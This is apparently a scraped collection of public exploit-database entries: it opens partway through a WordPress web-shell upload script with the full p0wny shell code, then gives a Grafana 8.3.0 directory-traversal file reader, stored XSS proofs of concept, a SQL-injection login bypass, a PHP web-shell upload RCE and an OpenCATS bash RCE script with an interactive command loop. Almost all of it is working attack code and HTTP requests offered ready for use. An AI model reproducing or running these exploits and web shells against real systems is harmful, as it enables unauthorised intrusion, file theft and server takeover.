_insertStdout(response.stdout.join(\"\\n\"));\n updateCwd(response.cwd);\n }\n });\n }\n }\n\n function featureHint() {\n if (eShellCmdInput.value.trim().length === 0) return; // field is empty -> nothing to complete\n\n function _requestCallback(data) {\n if (data.files.length <= 1) return; // no completion\n\n if (data.files.length === 2) {\n if (type === 'cmd') {\n eShellCmdInput.value = data.files[0];\n } else {\n var currentValue = eShellCmdInput.value;\n eShellCmdInput.value = currentValue.replace(/([^\\s]*)$/, data.files[0]);\n }\n } else {\n _insertCommand(eShellCmdInput.value);\n _insertStdout(data.files.join(\"\\n\"));\n }\n }\n\n var currentCmd = eShellCmdInput.value.split(\" \");\n var type = (currentCmd.length === 1) ? \"cmd\" : \"file\";\n var fileName = (type === \"cmd\") ? currentCmd[0] : currentCmd[currentCmd.length - 1];\n\n makeRequest(\n \"?feature=hint\",\n {\n filename: fileName,\n cwd: CWD,\n type: type\n },\n _requestCallback\n );\n\n }\n\n function featureDownload(name, file) {\n var element = document.createElement('a');\n element.setAttribute('href', 'data:application/octet-stream;base64,' + file);\n element.setAttribute('download', name);\n element.style.display = 'none';\n document.body.appendChild(element);\n element.click();\n document.body.removeChild(element);\n _insertStdout('Done.');\n }\n\n function featureUpload(path) {\n var element = document.createElement('input');\n element.setAttribute('type', 'file');\n element.style.display = 'none';\n document.body.appendChild(element);\n element.addEventListener('change', function () {\n var promise = getBase64(element.files[0]);\n promise.then(function (file) {\n makeRequest('?feature=upload', {path: path, file: file, cwd: CWD}, function (response) {\n _insertStdout(response.stdout.join(\"\\n\"));\n updateCwd(response.cwd);\n });\n }, function () {\n _insertStdout('An unknown client-side error occurred.');\n });\n });\n element.click();\n document.body.removeChild(element);\n }\n\n function getBase64(file, onLoadCallback) {\n return new Promise(function(resolve, reject) {\n var reader = new FileReader();\n reader.onload = function() { resolve(reader.result.match(/base64,(.*)$/)[1]); };\n reader.onerror = reject;\n reader.readAsDataURL(file);\n });\n }\n\n function genPrompt(cwd) {\n cwd = cwd || \"~\";\n var shortCwd = cwd;\n if (cwd.split(\"/\").length > 3) {\n var splittedCwd = cwd.split(\"/\");\n shortCwd = \"\xe2\x80\xa6/\" + splittedCwd[splittedCwd.length-2] + \"/\" + splittedCwd[splittedCwd.length-1];\n }\n return \"p0wny@shell:<span title=\\\"\" + cwd + \"\\\">\" + shortCwd + \"</span>#\";\n }\n\n function updateCwd(cwd) {\n if (cwd) {\n CWD = cwd;\n _updatePrompt();\n return;\n }\n makeRequest(\"?feature=pwd\", {}, function(response) {\n CWD = response.cwd;\n _updatePrompt();\n });\n\n }\n\n function escapeHtml(string) {\n return string\n .replace(/&/g, \"&\")\n .replace(/</g, \"<\")\n .replace(/>/g, \">\");\n }\n\n function _updatePrompt() {\n var eShellPrompt = document.getElementById(\"shell-prompt\");\n eShellPrompt.innerHTML = genPrompt(CWD);\n }\n\n function _onShellCmdKeyDown(event) {\n switch (event.key) {\n case \"Enter\":\n featureShell(eShellCmdInput.value);\n insertToHistory(eShellCmdInput.value);\n eShellCmdInput.value = \"\";\n break;\n case \"ArrowUp\":\n if (historyPosition > 0) {\n historyPosition--;\n eShellCmdInput.blur();\n eShellCmdInput.value = commandHistory[historyPosition];\n _defer(function() {\n eShellCmdInput.focus();\n });\n }\n break;\n case \"ArrowDown\":\n if (historyPosition >= commandHistory.length) {\n break;\n }\n historyPosition++;\n if (historyPosition === commandHistory.length) {\n eShellCmdInput.value = \"\";\n } else {\n eShellCmdInput.blur();\n eShellCmdInput.focus();\n eShellCmdInput.value = commandHistory[historyPosition];\n }\n break;\n case 'Tab':\n event.preventDefault();\n featureHint();\n break;\n }\n }\n\n function insertToHistory(cmd) {\n commandHistory.push(cmd);\n historyPosition = commandHistory.length;\n }\n\n function makeRequest(url, params, callback) {\n function getQueryString() {\n var a = [];\n for (var key in params) {\n if (params.hasOwnProperty(key)) {\n a.push(encodeURIComponent(key) + \"=\" + encodeURIComponent(params[key]));\n }\n }\n return a.join(\"&\");\n }\n var xhr = new XMLHttpRequest();\n xhr.open(\"POST\", url, true);\n xhr.setRequestHeader(\"Content-Type\", \"application/x-www-form-urlencoded\");\n xhr.onreadystatechange = function() {\n if (xhr.readyState === 4 && xhr.status === 200) {\n try {\n var responseJson = JSON.parse(xhr.responseText);\n callback(responseJson);\n } catch (error) {\n alert(\"Error while parsing response: \" + error);\n }\n }\n };\n xhr.send(getQueryString());\n }\n\n document.onclick = function(event) {\n event = event || window.event;\n var selection = window.getSelection();\n var target = event.target || event.srcElement;\n\n if (target.tagName === \"SELECT\") {\n return;\n }\n\n if (!selection.toString()) {\n eShellCmdInput.focus();\n }\n };\n\n window.onload = function() {\n eShellCmdInput = document.getElementById(\"shell-cmd\");\n eShellContent = document.getElementById(\"shell-content\");\n updateCwd();\n eShellCmdInput.focus();\n };\n </script>\n </head>\n\n <body>\n <div id=\"shell\">\n <pre id=\"shell-content\">\n <div id=\"shell-logo\">\n ___ ____ _ _ _ _ _ <span></span>\n _ __ / _ \\__ ___ __ _ _ / __ \\ ___| |__ ___| | |_ /\\/|| || |_ <span></span>\n| '_ \\| | | \\ \\ /\\ / / '_ \\| | | |/ / _` / __| '_ \\ / _ \\ | (_)/\\/_ .. _|<span></span>\n| |_) | |_| |\\ V V /| | | | |_| | | (_| \\__ \\ | | | __/ | |_ |_ _|<span></span>\n| .__/ \\___/ \\_/\\_/ |_| |_|\\__, |\\ \\__,_|___/_| |_|\\___|_|_(_) |_||_| <span></span>\n|_| |___/ \\____/ <span></span>\n </div>\n </pre>\n <div id=\"shell-input\">\n <label for=\"shell-cmd\" id=\"shell-prompt\" class=\"shell-prompt\">???</label>\n <div>\n <input id=\"shell-cmd\" name=\"cmd\" onkeydown=\"_onShellCmdKeyDown(event)\"/>\n </div>\n </div>\n </div>\n </body>\n\n</html>\n\r\n-----------------------------121585879226594965303252407916--\r\n" session.post(exploit_url, headers=header, data=shell_payload) print('[*] Exploit finished at: ' + str(datetime.now().strftime('%H:%M:%S'))) print(' -> Webshell: http://' + target_ip + ':' + target_port + wp_path + 'wp-content/uploads/' + str(datetime.now().strftime('%Y')) + '/' + str(datetime.now().strftime('%m')) + '/shell.php') print('')
-
Grafana 8.3.0 - Directory Traversal and Arbitrary File Read
# Exploit Title: Grafana 8.3.0 - Directory Traversal and Arbitrary File Read # Date: 08/12/2021 # Exploit Author: s1gh # Vendor Homepage: https://grafana.com/ # Vulnerability Details: https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p # Version: V8.0.0-beta1 through V8.3.0 # Description: Grafana versions 8.0.0-beta1 through 8.3.0 is vulnerable to directory traversal, allowing access to local files. # CVE: CVE-2021-43798 # Tested on: Debian 10 # References: https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p47p #!/usr/bin/env python3 # -*- coding: utf-8 -*- import requests import argparse import sys from random import choice plugin_list = [ "alertlist", "annolist", "barchart", "bargauge", "candlestick", "cloudwatch", "dashlist", "elasticsearch", "gauge", "geomap", "gettingstarted", "grafana-azure-monitor-datasource", "graph", "heatmap", "histogram", "influxdb", "jaeger", "logs", "loki", "mssql", "mysql", "news", "nodeGraph", "opentsdb", "piechart", "pluginlist", "postgres", "prometheus", "stackdriver", "stat", "state-timeline", "status-histor", "table", "table-old", "tempo", "testdata", "text", "timeseries", "welcome", "zipkin" ] def exploit(args): s = requests.Session() headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.' } while True: file_to_read = input('Read file > ') try: url = args.host + '/public/plugins/' + choice(plugin_list) + '/../../../../../../../../../../../../..' + file_to_read req = requests.Request(method='GET', url=url, headers=headers) prep = req.prepare() prep.url = url r = s.send(prep, verify=False, timeout=3) if 'Plugin file not found' in r.text: print('[-] File not found\n') else: if r.status_code == 200: print(r.text) else: print('[-] Something went wrong.') return except requests.exceptions.ConnectTimeout: print('[-] Request timed out. Please check your host settings.\n') return except Exception: pass def main(): parser = argparse.ArgumentParser(description="Grafana V8.0.0-beta1 - 8.3.0 - Directory Traversal and Arbitrary File Read") parser.add_argument('-H',dest='host',required=True, help="Target host") args = parser.parse_args() try: exploit(args) except KeyboardInterrupt: return if __name__ == '__main__': main() sys.exit(0)
-
Employees Daily Task Management System 1.0 - 'multiple' Cross Site Scripting (XSS)
# Exploit Title: Employees Daily Task Management System 1.0 - 'multiple' Cross Site Scripting (XSS) # Exploit Author: able403 # Date: 08/12/2021 # Vendor Homepage: https://www.sourcecodester.com/php/15030/employee-daily-task-management-system-php-and-sqlite-source-code.html # Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/edtms.zip # Version: 1.0 # Tested on: windows 10 # Vulnerable page: ?page=view_task&id=2 Technical description: A stored XSS online event booking and reservation system. An attacker can leverage this vulnerability in order to run javascript on the web server surfers behalf, which can lead to cookie stealing, defacement and more. xss-1: 1) Navigate to http://localhost/?page=view_task&id=2 and clink "edit task" 2) Insert your payload in the "title" and "Task Description" parameter parameter 3) Click save Proof of concept (Poc): The following payload will allow you to run the javascript - "><img src=# onerror=alert(123)> --- POST /Actions.php?a=save_task HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 312 Origin: http://localhost Connection: close Referer: http://localhost/?page=tasks Cookie: PHPSESSID=p98m8ort59hfbo3qdu2o4a59cl id=2&title=Task+102%22%3E%3Cimg+src%3D%23+onerror%3Dalert(123)%3E&status=1&assign_to%5B%5D=2&description=%3Cp%3EThis+is+another+task+for+you.%3C%2Fp%3E%3Cp%3EThis+description+has+been+updated%3C%2Fp%3E%3Cp%3E%3Cbr%3E%3C%2Fp%3E%3Cp%3E%22%26gt%3B%26lt%3Bimg+src%3D%23+onerror%3Dalert(333)%26gt%3B%3Cbr%3E%3C%2Fp%3E xss-2 1) Navigate to http://localhost.com/?page=manage_account 2) Insert your payload in the "full name" or "contact" or "email" parameter parameter Proof of concept (Poc): The following payload will allow you to run the javascript - "><img src=# onerror=alert(123)> -- POST /Actions.php?a=update_credentials_employee HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Content-Type: multipart/form-data; boundary=---------------------------27882107026209045483167935384 Content-Length: 1613 Origin: http://localhost Connection: close Referer: http://localhost/?page=manage_account Cookie: PHPSESSID=p98m8ort59hfbo3qdu2o4a59cl -----------------------------27882107026209045483167935384 Content-Disposition: form-data; name="id" 1 -----------------------------27882107026209045483167935384 Content-Disposition: form-data; name="fullname" John D Smith -----------------------------27882107026209045483167935384 Content-Disposition: form-data; name="gender" Male -----------------------------27882107026209045483167935384 Content-Disposition: form-data; name="dob" 1997-06-23 -----------------------------27882107026209045483167935384 Content-Disposition: form-data; name="contact" 098123456789"><img src=# onerror=alert(123)> -----------------------------27882107026209045483167935384 Content-Disposition: form-data; name="email" jsmith@sample.com -----------------------------27882107026209045483167935384 Content-Disposition: form-data; name="address" Sample Address -----------------------------27882107026209045483167935384 Content-Disposition: form-data; name="department_id" 1 -----------------------------27882107026209045483167935384 Content-Disposition: form-data; name="email" jsmith@sample.com -----------------------------27882107026209045483167935384 Content-Disposition: form-data; name="password" -----------------------------27882107026209045483167935384 Content-Disposition: form-data; name="old_password" -----------------------------27882107026209045483167935384 Content-Disposition: form-data; name="avatar"; filename="" Content-Type: application/octet-stream -----------------------------27882107026209045483167935384--
-
Employees Daily Task Management System 1.0 - 'username' SQLi Authentication Bypass
# Exploit Title: Employees Daily Task Management System 1.0 - 'username' SQLi Authentication Bypass # Exploit Author: able403 # Date: 08/12/2021 # Vendor Homepage: https://www.sourcecodester.com/php/15030/employee-daily-task-management-system-php-and-sqlite-source-code.html # Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/edtms.zip # Version: 1.0 # Tested on: windows 10 # Vulnerable page: Actions.php # VUlnerable parameters: "username" Technical description: An SQL Injection vulnerability exists in theEmployees Daily Task Management System admin login form which can allow an attacker to bypass authentication. Steps to exploit: 1) Navigate to http://localhost/login.php 2) Insert your payload in the user or password field 3) Click login Proof of concept (Poc): The following payload will allow you to bypass the authentication mechanism of the Engineers Online Portal login form - 123'+or+1=1+--+- --- POST /Actions.php?a=employee_login HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 43 Origin: http://edtms.com Connection: close Referer: http://edtms.com/login.php Cookie: PHPSESSID=p98m8ort59hfbo3qdu2o4a59cl email=admin'+or+1=1+--+-&password=123123213 response HTTP/1.1 200 OK Date: Wed, 10 Nov 2021 02:23:38 GMT Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02 X-Powered-By: PHP/8.0.2 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 48 {"status":"success","msg":"Login successfully."} ---
-
Free School Management Software 1.0 - Remote Code Execution (RCE)
# Exploit Title: Free School Management Software 1.0 - Remote Code Execution (RCE) # Exploit Author: fuuzap1 # Date: 7-12-2021 # Category: Web application # Vendor Homepage: https://www.sourcecodester.com/php/15073/free-school-management-software.html # Software Link: https://www.sourcecodester.com/sites/default/files/download/jovahsource/free_and_open_source.zip # Version: 1.0 # Tested on: windows # Vulnerable page: http://localhost/admin/examQuestion Technical description: A unrestricted file upload vulnerability exists in the Free school management software v1.0. An attacker can leverage this vulnerability in order to get a remote code execution on the affected web server. Once a php webshell containing "<?php system($_GET["cmd"]); ?>" gets uploaded it is getting save into /uploads/exam_question/ directory, and is accessible by all users. the attacker can gain remote code execution on the web server. Steps to exploit: 1) Navigate to http://localhost/admin/manage_profile 2) click "ADD NEW QUESTION PAPER" edit base infomation 3) uploading a php webshell containing "<?php system($_GET["cmd"]); ?>" in the Field "upload Drag and drop a file here or click" 3) Click "save" 4) open http://localhost/uploads/exam_question/cmd.php?cmd=phpinfo() then php code execution Proof of concept (Poc): The following payload will allow you to run the javascript - <?php system($_GET["cmd"]); ?> --- POST /admin/examQuestion/create HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------183813756938980137172117669544 Content-Length: 1331 Origin: http://localhost Connection: close Referer: http://localhost/admin/examQuestion Cookie: ci_session=793aq6og2h9mf5cl2q2b3p4ogpcslh2q Upgrade-Insecure-Requests: 1 -----------------------------183813756938980137172117669544 Content-Disposition: form-data; name="name" test4 -----------------------------183813756938980137172117669544 Content-Disposition: form-data; name="class_id" 2 -----------------------------183813756938980137172117669544 Content-Disposition: form-data; name="subject_id" 5 -----------------------------183813756938980137172117669544 Content-Disposition: form-data; name="timestamp" 2021-12-08 -----------------------------183813756938980137172117669544 Content-Disposition: form-data; name="teacher_id" 1 -----------------------------183813756938980137172117669544 Content-Disposition: form-data; name="file_type" txt -----------------------------183813756938980137172117669544 Content-Disposition: form-data; name="status" 1 -----------------------------183813756938980137172117669544 Content-Disposition: form-data; name="description" 123123 -----------------------------183813756938980137172117669544 Content-Disposition: form-data; name="_wysihtml5_mode" 1 -----------------------------183813756938980137172117669544 Content-Disposition: form-data; name="file_name"; filename="cmd.php" Content-Type: application/octet-stream <?php eval($_GET["cmd"]); ?> -----------------------------183813756938980137172117669544-- ---
-
OpenCATS 0.9.4 - Remote Code Execution (RCE)
# Exploit Title: OpenCATS 0.9.4 - Remote Code Execution (RCE) # Google Dork: intext:"Current Available Openings, Recently Posted Jobs" # Date: 21/09/2021 # Exploit Author: Nicholas Ferreira - https://github.com/Nickguitar # Vendor Homepage: https://www.opencats.org/ # Software Link: https://github.com/opencats/OpenCATS # Version: <=0.9.4 Countach # Tested on: Debian, CentOS, Windows Server #!/bin/bash if [ $# -eq 0 ] then echo "Usage: $0 <target URL>" exit fi # if a payload doesn't work, try another payload='GIF87a<?php echo system($_REQUEST[0]); ?>' #payload='GIF87a<?php echo exec($_REQUEST[0]); ?>' #payload='GIF87a<?php echo shell_exec($_REQUEST[0]); ?>' #payload='GIF87a<?php echo passthru($_REQUEST[0]); ?>' #payload='GIF87a<?php echo `$_REQUEST[0]`; ?>' #payload='GIF87a<?php echo system($_REQUEST[0]); ?>' #payload='GIF87a<?php echo $p=popen($_REQUEST[0],"r");while(!feof($p))echo fread($p,1024); ?>' target=$1 green="\033[0;32m" red="\033[0;31m" reset="\033[0m" #====================== Functions rev() { while true do echo -n -e "\n$ " read cmd curl -skL -X POST -d "0=$cmd" $1 | sed "s/^GIF87a//" | sed "$ d" done } upload() { curl -skL $1/$2 \ -H "Connection: close" \ -F resumeFile=@"$3;type=application/x-php" \ -F ID="$firstJb" \ -F candidateID="-1" \ -F applyToJobSubAction="resumeLoad" \ --compressed \ --insecure } getVersion() { ver=`curl -skL $1 | grep -E "span.*([0-9]\.)+" | sed "s/<[^>]*>//g" | grep -Eo -m 1 "([0-9]\.)+[0-9]*"` if [ -z "${ver}" ] then ver=`curl -skL "$1/installtest.php" | grep -Eio "CATS version is ([0-9]\.)+[0-9]*" | grep -Eo -m 1 "([0-9]\.)+[0-9]*"` if [ -z "${ver}" ] then echo -e "${red}[-] Couldn't identity CATS version, but that's ok...${reset}" return 0 fi fi echo -e "${green}[*] Version detected: $ver${reset}" } writePayload(){ tmpfile=$(tr -dc A-Za-z0-9 </dev/urandom | head -c 5)".php" file=`basename $tmpfile` echo "$1" > $tmpfile } banner(){ echo "IF8uXyAgICAgXywtJyIiYC0uXyAKKCwtLmAuXywnKCAgICAgICB8XGAtL3wgICAgICAgIFJldkNBVCAtIE9wZW5DQVQgUkNFCiAgICBgLS4tJyBcICktYCggLCBvIG8pICAgICAgICAgTmljaG9sYXMgIEZlcnJlaXJhCiAgICAgICAgICBgLSAgICBcYF9gIictICAgaHR0cHM6Ly9naXRodWIuY29tL05pY2tndWl0YXI=" | base64 -d echo -e "\n" } #====================== banner echo "[*] Attacking target $target" echo "[*] Checking CATS version..." getVersion $target #exit echo "[*] Creating temp file with payload..." writePayload "$payload" #exit echo "[*] Checking active jobs..." jbRequest=`curl -skL $target'/careers/index.php?m=careers&p=showAll'` numJb=`echo "$jbRequest" | grep "Posted Jobs" |sed -E 's/.*: ([0-9]+).*/\1/'` firstJb=`echo "$jbRequest" | grep -m 1 '<td><a href="index.php?m=careers' | sed -E 's/.*=([0-9]+)\".*/\1/'` if [[ ! $numJb -gt 0 ]] then echo -e "${red}[-] No active jobs found.${reset}" echo "[*] Trying another path..." jbRequest=`curl -skL $target'/index.php?m=careers&p=showAll'` numJb=`echo "$jbRequest" | grep "Posted Jobs" | sed -e 's/<[^>]*>//g' | sed -E 's/.*Posted Jobs.*: ([0-9]+).*/\1/'` if [[ ! $numJb -gt 0 ]] then echo -e "${red}[-] Couldn't find any active job.${reset}" exit fi fi firstJb=`echo "$jbRequest" | grep -m 1 '<td><a href="index.php?m=careers' | sed -E 's/.*=([0-9]+)\".*/\1/'` echo -e "${green}[+] Jobs found! Using job id $firstJb${reset}" echo "[*] Sending payload..." req=`upload "$target" "/careers/index.php?m=careers&p=onApplyToJobOrder" "$tmpfile"` if ! `echo "$req" | egrep -q "still be uploaded|will be uploaded|$file"` then echo -e "${red}[-] Couldn't detect if payload was uploaded${reset}" echo "[*] Checking by another method..." sed -i "s/GIF87a//" $tmpfile req=`upload "$target" "index.php?m=careers&p=onApplyToJobOrder" "$tmpfile"` if ! `echo "$req" | egrep -q "still be uploaded|will be uploaded|$file"` then echo -e "${red}[-] Couldn't upload payload...${reset}" exit fi fi echo -e "${green}[+] Payload $file uploaded!" echo "[*] Deleting created temp file..." rm $tmpfile echo "[*] Checking shell..." check=$(curl -skL -d '0=echo 0x7359' "$target/upload/careerportaladd/$file") if `echo $check | grep -q "0x7359"` then echo -e "${green}[+] Got shell! :D${reset}" curl -skL -X POST -d "0=id;uname -a" "$target/upload/careerportaladd/$file" | sed "s/^GIF87a//" | sed "$ d" rev $target/upload/careerportaladd/$file else echo -e "${red}[-] Couldn't get reverse shell.\n Maybe you should try it manually or use another payload.${reset}" fi
-
Free School Management Software 1.0 - 'multiple' Stored Cross-Site Scripting (XSS)
# Exploit Title: Free School Management Software 1.0 - 'multiple' Stored Cross-Site Scripting (XSS) # Exploit Author: fuzzyap1 # Date: 7-12-2021 # Category: Web application # Vendor Homepage: https://www.sourcecodester.com/php/15073/free-school-management-software.html # Software Link: https://www.sourcecodester.com/sites/default/files/download/jovahsource/free_and_open_source.zip # Version: 1.0 # Tested on: windows # Vulnerable page: http://localhost/admin/enquiry_category # Vulnerable Parameters: "category" Technical description: A stored XSS vulnerability exists in the Event management software. An attacker can leverage this vulnerability in order to run javascript on the web server surfers behalf, which can lead to cookie stealing, defacement and more. Steps to exploit: 1) Navigate to http://localhost/admin/enquiry_category 2) Insert your payload in the "category" parameter 3) Click "save" Proof of concept (Poc): The following payload will allow you to run the javascript - "><img src=# onerror=alert(document.cookie)> --- POST http://localhost/admin/enquiry_category/update/3 HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------151631281127875309002088019539 Content-Length: 490 Origin: http://localhost Connection: close Referer: http://localhost/admin/enquiry_category Cookie: CMSSESSID2cb149290396=0bd8mo7gisd21t9pl1ioorhl63; ci_session=6vl4s7keu1ucpoomv9tj4oe8an7kspa0 Upgrade-Insecure-Requests: 1 -----------------------------151631281127875309002088019539 Content-Disposition: form-data; name="category" This is for ID 3 informa222tion"><img src=# onerror=alert(document.cookie)> -----------------------------151631281127875309002088019539 Content-Disposition: form-data; name="purpose" Payment -----------------------------151631281127875309002088019539 Content-Disposition: form-data; name="whom" Tutorial -----------------------------151631281127875309002088019539-- --- Steps to exploit: 1) Navigate to http://localhost/admin/manage_profile 2) Insert your payload in the "anme" parameter 3) Click "save" Proof of concept (Poc): The following payload will allow you to run the javascript - "><img src=# onerror=alert('xss')> --- POST /admin/manage_profile/update HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------13285163425854907563979323722 Content-Length: 519 Origin: http://localhost Connection: close Referer: http://localhost/admin/manage_profile Cookie: ci_session=hiibl4e0oidvqier9b8hhfb5c1rl6l16 Upgrade-Insecure-Requests: 1 -----------------------------13285163425854907563979323722 Content-Disposition: form-data; name="name" Administrator"><img src=# onerror=alert(document.cookie)> -----------------------------13285163425854907563979323722 Content-Disposition: form-data; name="email" admin@admin.com -----------------------------13285163425854907563979323722 Content-Disposition: form-data; name="userfile"; filename="" Content-Type: application/octet-stream -----------------------------13285163425854907563979323722-- ---